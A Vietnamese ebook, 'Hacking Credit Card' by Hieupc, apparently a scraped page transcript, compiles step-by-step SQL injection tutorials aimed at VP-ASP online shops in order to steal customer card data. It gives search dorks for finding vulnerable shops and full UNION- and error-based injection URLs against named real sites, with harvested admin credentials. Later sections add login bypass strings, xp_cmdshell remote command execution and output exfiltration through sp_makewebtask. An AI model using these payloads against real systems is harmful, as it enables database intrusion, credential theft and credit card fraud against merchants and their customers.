eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

66
Ebook naøy ñöôïc vieát ra nhaèm muïc ñích laø hoïc hoûi vaø chia seõ kieán thöùc. Email: [email protected] Homepage: http://cntt.pro.vn Noäi dung cuûa ebook: hai tutorials do hieupc vieát vaø moät vaøi tutorials khaùc do anh em baèng höõu vieát, trong ñoù coù moät vaøi tutorials cuõ nhöng cuõng raát ñaùng ñöôïc ñöa vaøo vôùi muïc ñích ñeå tham khaûo.

Transcript of eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Page 1: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Ebook naøy ñöôïc vieát ra nhaèm muïc ñích laøhoïc hoûi vaø chia seõ kieán thöùc.Email: [email protected]: http://cntt.pro.vn

Noäi dung cuûa ebook: hai tutorials do hieupc vieát vaø moät vaøi tutorials khaùc doanh em baèng höõu vieát, trong ñoù coù moät vaøi tutorials cuõ nhöng cuõng raát ñaùngñöôïc ñöa vaøo vôùi muïc ñích ñeå tham khaûo.

Page 2: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Hacking Credit Card Version 2.0 --- Written by Hieupc

shopdisplayproducts.asp?cat='

Sau một thời gian dài TTD bị chia cắt đến nay, hieupc mới bắt đầu viết 1 tutorial về hack credit card mới và có lẽ đâylà tutorial cuối cùng đầy đủ nhất,được hieupc biên soạn và sưu tầm từ nhiều tutorial cũ đến mới vào 1 cái ebook và trảlời những câu hỏi thắc mắc của các bạn và hieupc cũng ðã làm 1 bản Ebook hacking credit card.

Nào giờ chúng ta bắt ðầu bắt ðầu nhé.

Cách này cũng nhý những cách thông thường là khai thác theo lỗi SQL và cũng có thể áp dụng cho 1 số lỗi khác như:OLE DB, JET Database, ASP…

Býớc 1:

Khuyến cáo nên search shop ở www.google.com hoặc www.search.com vì mình thấy 2 site này rất very good.Từ khoá nên dùng:allinurl:”shopdisplayproducts.asp?id=hoặc allinurl:”shopdisplayproducts.asp?cat=1 hoặc allinurl:”shopdisplayproducts.asp?cat=2……Search shop theo Domain .com, .net , .biz…..:allinurl:”.com/shopdisplayproducts.asp?cat=,allinurl:”.net/shopdisplayproducts.asp?cat=...Ai biết chấm gì nữa thì thay vào :)Khả năng lấy được credit card: là 99.9 % còn 0.1 % còn lại phụ thuộc vào cái đầu của bạn.Xong phần search, bạn thu hoặch lại tất cả các shop bị lỗi và bắt ðầu hack.

Býớc 2:

Ví dụ: lấy ví dụ là 1 site thế có dạng thế này : http://www.victim.com

http://www.victim.com/shopdisplayproducts.asp?id=5

Ta sẽ thêm dấu phẩy ( ` ) vào sau số 5:

http://www.victim.com/shopdisplayproducts.asp?id=5'

Xem nó có bị lỗi không nào, hic nó không bị lỗi, chỉ thấy thế này:

Home Improvement

Page 1 of 2

Page 3: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Không sao, chúng ta hãy bình tĩnh nhé, thay “ id “ bằng “ cat “ thử xem:http://www.victim.com/shopdisplayproducts.asp?id=5'-->>> http://www.victim.com/shopdisplayproducts.asp?cat=5'Uh, nó lỗi ruì kìa:

5'

Microsoft JET Database Engine error '80040e14'

Syntax error in query expression 'cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and c.catdescription like '5'%' and hide=0 order by specialoffer desc,cname'.

/shop$db.asp, line 467

Okie, tiếp tục nhé, bạn sẽ thêm ðoạn code sau ðây vào:

'%20union%20%20select%201%20from%20tbluser"having%201=1--sp_password

http://www.victim.com/shopdisplayproducts.asp?id=5'

Khi thêm xong thì sẽ nhý thế này:http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201%20from%20tbluser"having%201=1--sp_passwordvà ðýợc thế? này :

5' union select 1 from tbluser"having 1=1--sp_password

Microsoft JET Database Engine error '80040e14'

The number of columns in the two selected tables or queries of a union query do not match.

/shop$db.asp, line 467

Chú ý nhé các bạn, cái dấu phẩy ( ` ) rất quan trọng, không có là không được.

Và cứ thế ta cứ tiếp tục thêm số nhé:http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201,2%20from%20tbluser"having%201=1--sp_password

Page 4: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201,2,3%20from%20tbluser"having%201=1--sp_password

http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201,2,3,4%20from%20tbluser"having%201=1--sp_passwordCứ thế mà tiếp tục cho ðến khi bạn thấy 1 cái bảng đẹp đẹp hiện ra với vài con số.

Ở ðây là tới số 47 :

http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,fldpassword,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20tbluser"having%201=1--sp_password

3

click to see more 422

18Please review these other products:

Nào giờ chúng ta bắt đầu lấy user and pass:

· fldusername : thay cho số 3 , hay 4, hay 22 tuỳ bạn

· fldpassword : thay cho số 3 , hay 4, hay 22 tuỳ bạn

Sau khi thêm xong ta sẽ được nhý thế này:

http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,fldpassword,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20tbluser"having%201=1--sp_password

Và có được username và password :

User: stephenrossipass: gnilsur

Hoặc bạn có thể gộp chung fldusername và fldpassword vào 1 số cũng được.

http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,fldusername%2b'/'%2bfldpassword,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20tbluser"having%201=1--sp_password

Ta sẽ có user và pass được gộp chung 1 số:

stephenrossi/gnilsur

Page 5: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Bước 3:Tìm link admin, thử đánh cái này vào được không nào: http://www.victim.com/shopadmin.asp hic không được rồi.

Thử cái này nữa thử xem, may ra nó chạy đến link admin thì sao: http://www.victim.com/shopadmin1.asp , cũngkhông được.

Cái này hieupc đã download cái source của VPASP về xem cấu trúc nó thế nào, và đã tìm ra cậu lệnh thế này, chẳngqua là thay table thôi.

Ta biết table configuration là nơi chứa những thông quan trọng của shop như là link admin, afftemplateaffiliate,afftemplateMerchant…..

Vậy cậu lệnh sẽ thế này:

'%20union%20%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password

Thay vào ta sẽ được:

http://www.valuevision.com.ph/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password

Ta cũng thấy cái bảng:3

click to see more 422

18Please review these other products:

Lần này thì ta sẽ kiếm link admin, thường thì link admin nằm trong fieldvalue , vì thế ta sẽ đặt fieldvalue vào số 3,hay 4, hay 22 tuỳ các bạn.

'%20union%20%20select%201,2,3,fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password

Sau khi thêm xong ta sẽ được thế này:

http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password

Page 6: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Các bạn sẽ chẳng thấy link admin ở đâu hết toàn là mấy con số, lúc đầu hieupc cũng tưởng là mình làm sai cậu lệnh,nhưng loay hoay 1 đỗi , kéo trang lên, kéo trang xuống, à thì ra có tới 10 trang.

Page 1 of 10

Chỉ cần để ý là các bạn thấy thôi, nói thêm là: mỗi một trang như vậy là chứa những thông tin có trong fieldvalue ,các bạn cứ cố gắng view từng trang nhé, hieupc view hết 10 trang và thu thập được những link có đuôi là *.asp:

shopaddmoretocart.asp

shopcheckout.asp

shopdisplaycategories.asp

Nhất định 1 trong 3 link này là link admin login , hieupc đã thử hết 3 link và cái link đầu tiên là link adminshopaddmoretocart.asp

http://www.victim.com/shopaddmoretocart.aspThis site is reserved for Shop Administrators only.

Administrator's LoginUserName :Password :

Bây giờ lấy username và password ở trên để thay vào. Việc còn lại chắc các bạn biết.

THE END

Image Field

Page 7: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Hacking Credit Card Version 1.0 --- Written by HieupcHack Shop VPASP thật sự là như thế nào?

( Cập nhật và được phát triển thêm từ nhiều bài viết hướng dẫn trước đây )

CÁCH THỨ 1: Cái này chắc có lẽ cũng có nhiều bạn biết, nếu mình đoán không lầm thě chỉ có 30 %-50 % member làbiết cách này, tuy nhiên mình cũng đưa lên đây cho các bạn chýa biết và các bạn đă biết rùi học hỏi thêm ở mình hoặcgóp ý thêm cho mình chỗ nào chưa hoàn chỉnh !Cách này cũng như những cách thông thường là khai thác theo l ỗi SQL và cũng có thể áp dụng cho 1 số lỗi khác nhưOLE DB, JET Database, ASP…Bước 1: Ðể tìm site b ị lỗi kiểu này đòi hỏi bạn phải có nhiều kinh nghiệm tìm lỗi và search shop như thế nào cho thậtlà hiệu quả. Bước này cũng là bước quan trọng nhất vì không có shop lỗi làm sao hack :))Khuyến cáo nên search shop ở www.google.com hoặc www.search.com vì mình thấy 2 site này rất very good.Từ khoá nên dùng:allinurl:”shopdisplayproducts.asp?id=hoặc allinurl:”shopdisplayproducts.asp?id=1 hoặc allinurl:”shopdisplayproducts.asp?id=2……Search shop theo Domain .com, .net , .biz…..:allinurl:”.com/shopdisplayproducts.asp?id= ; allinurl:”.net/shopdisplayproducts.asp?id=...Ai biết chấm gì nữa thì thay vào :)Xong phần search, bạn thu hoặch lại tất cả các shop bị lỗi và bắt ðầu hack.Bây giờ mình lấy ví dụ shop này nhé:http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1Oh, 1 em Uk cực ngon không biết có CC.Bây giờ kiểm tra xem nó lỗi không bằng cách thêm vào dấu phẩy ( ` )http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1'Oh site bị lỗi kìa các bạn :ProductsMicrosoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ccategory = 1' Order By specialOffer DESC,cname'.

/chris/shop$db.asp, line 868

Bý?c 2 :

Ta bắt đầu thêm vào đoạn code này :

%20union%20%20select%201%20from%20tbluser%27

Vào phía sau link shop nhớ bỏ luôn cái dấu phẩy sau ?id=1 nhé, nếu không là không được đâu đấy.

Page 8: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Khi thêm xong link sẽ như thế này:

http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201%20from%20tbluser%27

Oh không dụ gì đây :)

ProductsMicrosoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do notmatch.

/chris/shop$db.asp, line 868

Còn không biết qua bước 3 nữa, nhưng khoan các bạn hãy xem kinh nghiệm của mình đă khi thêm vào dấu phẩy ( ` )mà nó hiện ra lỗi như vầy:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ' '.

/product.asp, line 29

Thì các bạn hack theo kiểu hack cũ nhé.

Thui bây giờ qua bước 3 nhé, nói nhiều quá :))

Sau khi đă hoàn thành bước 2, bạn sẽ bắt đầu 1 công việc thiêng liêng nhất và cũng là mệt mỏi nhất, không mệt đâuchỉ uể oải 1 tí, đó là thêm số vào code:

1%20union%20%20select%201,2%20from%20tbluser%27

1%20union%20%20select%201,2,3%20from%20tbluser%27

1%20union%20%20select%201,2,3,4%20from%20tbluser%27………..

Khi thêm vào thì link sẽ như thế này :

http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2%20from%20tbluser%27http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3%20from%20tbluser%27

Page 9: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3,4%20from%20tbluser%27 ………… Cứ thêm số tiếp tục nhé, đừng nản lòng hãy cố lên.

Cho đến khi nó xuất hiện 1 cái bảng rất đẹp :))

Ái da, mỏi tay quá tới số 34 mới hiện ra cái bảng trời đánh này :))

http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20from%20tbluser%27

Đây là bước cuối cùng để lấy user and pass: những con số quan trọng của shop naỳ là : 3, 4 , 22.

fldusername <~ thay vào số 4

fldpassword <~ thay vào số 22

Sau khi thay xong link sẽ như thế này:

http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3,fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,fldpassword,23,24,25,26,27,28,29,30,31,32,33,34%20from%20tbluser%27

Và các bạn đã có user and pass rùi đấy:

User: admin848pass: admin848

User: carstepass: carste

Phần còn lại là tìm link admin để login, cái này cũng khá quan trọng vì không có link admin làm sao lấy CC :))

Chú ý: link admin để login mặc định của VPASP là : shopadmin.asp cũng có khi ta đánh shopadmin1.asp sẽ vào linkadmin.

CÁCH HACK THỨ 2 RÚT RA TỪ BÀI HƯỚNG DẪN CỦA ANH HAI Silveryhat_Hacker :

Bước 1 tương tự như trên:

Page 10: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Ví dụ site này:

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153'

cũng thêm vào dấu phẩy ( ` ) để check lỗiProducts

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.

/shopping/shopdisplayproducts.asp, line 93Oh có lỗi rồi, giờ sao đây :))Cái này anh em biết khai thác chứ:http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'ver_Faq' to a column of data type

int./shopping/shopdisplayproducts.asp, line 93

Bước 2 chắc các bạn biết, chỉ là lấy table thui, mình chỉ việc kiếm table nào chưá users của admin là okie.http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20('ver_Faq','coupons','customerprices','customers')))--sp_password

ProductsMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminUsers' to a column of datatype int.

/shopping/shopdisplayproducts.asp, line 93

Tới đây là đã quá rõ, cái mình chính là table này : 'AdminUsers' vì sao vậy vì nó chưá user và pass chắc. Thui cứ khaithác thử.

Code: %20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')))--sp_password

ProductsMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminID' to a column of data typeint.

/shopping/shopdisplayproducts.asp, line 93

Page 11: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Và bước tiếp theo:

Code : %20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and%20column_name%20not%20in%20('AdminID')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and%20column_name%20not%20in%20('AdminID')))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login' to a column of data type int.

/shopping/shopdisplayproducts.asp, line 93

Và các bạn cứ tiếp tục thêm table vào:http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and%20column_name%20not%20in%20('AdminID','login')))--sp_password

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and%20column_name%20not%20in%20('AdminID','login','pwd')))--sp_password

Okie 2 thông tin quan trọng là 'login','pwd' đă xuất hiện giờ chỉ việc kiếm pass:

Code: %20and%201=convert(int,(select%20top%201%20login%2b'/'%2bpwd%20from%20AdminUsers))--sp_password

ặc ặc shop củ khoai:

http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%201%20login%2b'/'%2bpwd%20from%20AdminUsers))--sp_password

ProductsMicrosoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin/admin' to a column of datatype int.

/shopping/shopdisplayproducts.asp, line 93

Hic hic, user: admin , pass: admin ; đủ biết là shop này thằng admin nó ngu đến cỡ nàoBây giờ kiếm link admin là nhiệm vụ của bạn.

Page 12: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

TUTORIALS OF MY FRIENDS OR ORTHER AUTHORSTutorial ñöôïc vieát bôûi kidbandes

What you should look for? (Mục đích của việc tìm lỗi)

Tìm ra các trang cho phép bạn nhạp dữ liệu, ví dụ là login page, search page, .... Thỉnh thoảng, HTML page sử dụng"Post" command để gởi thông số đến trang ASP khác. Vì vậy, bạn không thể thấy thông số trên thanh URL, và xem"FORM" tag trong HTML code. Bạn có thể tìm vài thứ như đoạn code sau:

<FORM action=Search/search.asp method=post><input type=hidden name=A value=C></FORM>

Mọi thứ giữa <FORM> và </FORM> có thông số lỗi được sử dụng.

What if you can't find any page that takes input? Bạn làm gì nếu không tìm ðýợc trang nhập liệu nào ?

Bạn nên tìm kiếm trang nhý ASP, JSP, CGI, hay PHP. Cố gắng tìm các URL vói các thông số sau:

http://shopping.com/index.asp?id=10

How do you test if it is vulnerable? (Chúng ta kiểm tra lỗi như thế nào)

Bắt đầu với 1 dấu nháy đơn, thêm vào như sau: hi' or 1=1--Nhập vào login hoặc password, hoặc ngay cả URL.

- login: hi' or 1=1--- password: hi' or 1=1--- http://shopping.com/index.asp?id=hi' or 1=1--

Nếu bạn làm như thế với 1 giá trị ẩn, phải download source HTML từ site, lưu vào đĩa cứng và chỉnh sửa URL và giátrị ẩn. Ví dụ:

<form action=http://shopping.com/search/search.asp method=post><input type=hidden name=A value="hi' or 1=1--"></form>

Nếu may mắn thì trên site của bạn, bạn sẽ lấy được đăng nhập nhng không co tên đãng nhập và mật mã

Nhưng tại sao dùng 'or 1=1-- ?

Chúng ta xem 1 ví dụ khác tại sao ' or 1=1-- lại quan trọng. Khác với việc vượt đăng nhập, nó có thể xem nhiều dữ liệuhơn là với các thông tin thông thường. Lấy 1 trang ASP bạn sẽ thấy cái link như sau:

http://shopping.com/index.asp?category=food

Trong URL, 'category' là 1 tên biến, và 'food' là giá trị gán cho biến ðó. Trong trường

Page 13: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

hợp ðó, 1 trang ASP có thể chứa các đoạn code sau (OK, đây là ðoạn code được viết ra cho bài viết này):

v_cat = request("category")sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"set rs=conn.execute(sqlstr

Như chúng ta thấy, biến sẽ có giá trị v_cat bên trong và vì vậy câu lệnh SQL sẽ trở thành:

SELECT * FROM product WHERE PCategory='food'

Câu lệnh truy vấn trên sẽ đưa ra tất cả các giá trị với điều kiện là field PCategory là 'food'.

Bây giờ câu truy vấn sẽ nhý thế này:

http://shopping.com/index.asp?category=food' or 1=1--

Bây giờ, giá trị của v_cat sẽ là "food' or 1=1-- ", nếu chúng ta chuyển ðổi thành câu lệnh SQL, chúng ta sẽ có:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Câu truy vấn sẽ lọc ra các giá trị trong cột PCategory vói các giá trị là 'food'. Dấu "--" sẽ bỏ qua các truy vấn củaMSSQL . Thỉnh thoảng chúng ta cũng có thể sử dụng dấu "#".

Tuy nhiên, nếu hệ thống không co MSSQL hoặc chỉ đơn giản la truy vấn bình thường ta chỉ cần sử dụng

or 'a'='a

Câu lệnh SQL sẽ là :

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Phụ thuộc vào câu truy vấn, ta sử dụng các giá trị sau:

' or 1=1--" or 1=1--or 1=1--' or 'a'='a" or "a"="a') or ('a'='a

Page 14: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

How do I get remote execution with SQL injection? (Phương pháp để thực thi lệnh từ xa với SQL)

Để có thể inject(nhập thêm) 1 lệnh SQL, chúng ta có thể thực hiện lệnh. Cài đặt mặc ðịnh trên MS SQL chạy dướiquyền SYSTEM, là user với quyền truy cập Aministrator. Chúng ta có thể sử dụng để lưu trữ master..xp_cmdshell thựchiện lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Thử dấu (") nếu dấu (') không làm việc.

Hai dấu trừ ở cuối dòng lệnh cho phép thực hiện một lệnh SQL mới. Ðể kiểm tra rằng câu lệnh này thực hiện được,bạn có thể lắng nghe các gói tin ICMP từ 10.10.1.2, kiểm tra bất kỳ gói tin nào từ server:

#tcpdump icmp

Nếu bạn không nhận ðýợc bất kỳ gói tin từ server, và nhận 1 thông báo lỗi là không ðýợc quyền, thì có thểAdministrator đã giới hạn quyền người dùng truy cập vào hệ thống.

How to get output of my SQL query?(Phýõng pháp Lấy kết quả từ câu truy vẫn SQL)

Nếu có thể, bạn sử dụng sp_makewebtask để viết câu truy vấn thành câu lệnh HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Nhưng địa chỉ IP phải có thư mục được share cho tất cả mọi người

How to get data from the database using ODBC error message (Phương pháp Lấy dữ liệu từ CSDL sử dụng lỗi ODBC)

Chúng ta sử dụng thủ tục bị lỗi trong Server MS SQL để thực hiện lệnh. Xem ví dụ sau:

http://shopping.com/index.asp?id=10

Chúng ta cố gắng kết hợp UNION trong '10' với 1 câu lệnh khác:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng hệ thống INFORMATION_SCHEMA.TABLES chứa thông tin của tất cả các bảng trong hệ thống.TABLE_NAME field chứa tất cả các tên của bảng trong hệ thống. Nó luôn luôn tồn tại theo cách mặc định. Câu truyvấn sẽ là:

Page 15: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Ðiều này se trả về bảng đầu tiên trong bảng INFORMATION_SCHEMA_TABLES. Khi chúng ta UNION giá trị nàyvới số nguyên 10, MS SQL Server sẽ cố gắng chuyển đổi giá trị chuỗi (nvarchar) thành 1 số nguyên. Thủ tục này bịlỗi, bởi vì không thể thục hiện chuyển đổi từ nvarchar thành int. Server sẽ xuất hiện lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column ofdata type int./index.asp, line 5

Thông báo lỗi đủ để biết được là không thể chuyển ðổi giá trị chuỗi thành số. Trong trường hợp này, chúng ta có thểlấy được tên table đầu tiên là "table1".

Để lấy table tiếp theo ta có thể sử dụng lệnh sau:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Chúng ta cũng có thể sử dụng nó bằng lệnh LIKE:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to acolumn of data type int./index.asp, line 5

Giá trị trong phù hợp, '%25login%25' sẽ được xem nhý là %login% trong SQL Server. Trong trường hợp này, ta có thểlấy tên đầu tiên trong table có giá trị phù hợp là, "admin_login".

How to mine all column names of a table? (Cách lấy tất cả tên cột trong table)

Chúng ta có thể sử dụng table khác INFORMATION_SCHEMA.COLUMNS để ánh xạ tất cả các cột của table:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROMINFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

Page 16: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a columnof data type int./index.asp, line 5

Bây giờ chúng ta có cột đầu tiên trong table, chúng ta sử dụng NOT IN () để lấy cột tiếp theo:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROMINFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOTIN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to acolumn of data type int./index.asp, line 5

Khi chúng ta tiếp tục có thể sẽ thu được một số cột cần thiết như là "password", "details". Chúng ta sẽ biết được nộidung khi sử dụng câu truy vấn sau:

Quote:http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROMINFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOTIN ('login_id','login_name','password',details')--

Output:

Quote:Microsoft OLE DB Provider for ODBC Drivers error '80040e14'[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statementcontains a UNION operator./index.asp, line 5

How to retrieve any data we want? (phương pháp lấy tất cả dữ liệu mình muốn)

Bây giờ chúng ta sẽ xem xét 1 số table quan trọng, và các field của nó, Chúng ta cũng sử dụng cùng kỹ thuật trên ðểlấy dữ liệu cần thiết trong CSDL .

Bây giờ chúng ta lấy giá trị đầu tiên trong cột login_name từ bảng "admin_login":

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Page 17: eBook Hacking Credit Card Written by Hieupc SANGTAOTRE.com Sua Tam

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'kidbandes' to acolumn of data type int./index.asp, line 5

Tên của user admin là "kidbandes". Cuối cùng chúng ta lấy thêm password của "kidbandes" trong CSDL

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login wherelogin_name='kidbandes'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'loverthu' to a columnof data type int./index.asp, line 5

bây giờ chúng ta có thể đãng nhập với tên "kidbandes" và password "lovethu".

How to get numeric string value? (phương pháp lấy giá trị chuỗi s&#7889

Có 1 sự giới hạn trong kỹ thuật ở trên. Chúng ta không thể lấy được bất kỳ câu lệnh lỗi nào nếu chúng ta chuyển đổikiểu chuỗi thành bất kỳ kiểu số nào (các ki tự 0-9). Chúng ta cố gắng lấy password của "kimthu" mà nó là số"123456":

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login wherelogin_name='trinity'--

Thông thường chúng ta sẽ nhập được thông báo là "Page Not Found". Nguyên nhân ở đây là password của "kimthu" là"123456" sẽ không thể chuyển đổi, trước UNION với 1 số (10 in this case). bới vì đây là 1 câu lệnh UNION đúng,SQL server sẽ không quãng lỗi ODBC, và vì vậy chúng ta sẽ không thể lấy được thông báo lỗi.

Ðể giải quyết vấn đề này, Chúng ta có thể dùng một ki tu chuỗi để làm cho câu lệnh truy vấn lỗi. Chúng ta cố gắngthực hiện câu truy vấn sau:

http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20anhyeuem') FROMadmin_login where login_name='trinity'--

